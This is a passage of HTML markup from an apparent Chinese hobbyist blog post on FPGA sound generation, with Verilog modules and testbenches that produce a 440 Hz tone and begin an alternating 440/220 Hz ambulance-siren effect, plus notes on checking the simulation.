\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;d56817\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真验证,\u003ccode\u003eTestbench\u003c/code\u003e 代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// tb_music.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic music_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"仿真结果\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#%E4%BB%BF%E7%9C%9F%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"仿真结果\"\u003e\u003c/a\u003e仿真结果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/0.png\" alt=\"0\"/\u003e\u003c/p\u003e\u003cp\u003e占空比 $4545450-3409090=1136360$ $3409090-2272730=1136360$ ,可以看出占空比确实为50% \u003c/p\u003e\u003cp\u003e频率 $\\frac{1}{4545450-2272730}\\times10^9=440Hz$\u003c/p\u003e\u003cp\u003e)因为我莫得喇叭,就先不上板子了……\u003c/p\u003e\u003chr/\u003e\u003cp\u003e\u003cdel\u003e剩下的等我学完……\u003c/del\u003e 下面的再更新一下 \u003cspan class=\"bella_beijixing\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"添加参数\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#%E6%B7%BB%E5%8A%A0%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"添加参数\"\u003e\u003c/a\u003e添加参数\u003c/h3\u003e\u003cp\u003e添加了一个名字叫 \u003ccode\u003eclkdivider\u003c/code\u003e 的参数,方便之后的修改。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// testbench.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclkdivider\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclkdivider\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emusic_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"Music-box-2-Ambulance-siren\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/f804/#Music-box-2-Ambulance-siren\" class=\"headerlink\" title=\"Music box 2 - Ambulance siren\"\u003e\u003c/a\u003eMusic box 2 - Ambulance siren\u003c/h2\u003e\u003cp\u003e这次在两种音调之间交替。首先使用24位计数器 \u003ccode\u003etone\u003c/code\u003e 来产生一个缓慢的方波,其最高位(MSB)以1.5Hz的频率进行切换。然后我们在这两个频率之间切换另一个计数器。这样就发出了类似救护车警报一类的声音。\u003c/p\u003e\u003cp\u003e先产生一个1.5Hz的信号 \u003ccode\u003etone\u003c/code\u003e ,此时计数器 \u003ccode\u003ecounter\u003c/code\u003e 为向下计数,当 \u003ccode\u003ecounter\u003c/code\u003e 为0时,如果 \u003ccode\u003etone\u003c/code\u003e 为1,继续产生440Hz的信号,当 \u003ccode\u003etone\u003c/code\u003e 为0时,产生220Hz。这两个频率的信号以1.5Hz的频率交替出现。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// ambulance.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 1.5Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 计数器为0,说明当前频率已产生完毕,切换下一个\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 根据tone的MSB是否有值来确定\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为0,则切换为220Hz的声音\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为1,则切换为440Hz的声音\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e?\u003c/span\u003eclkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token 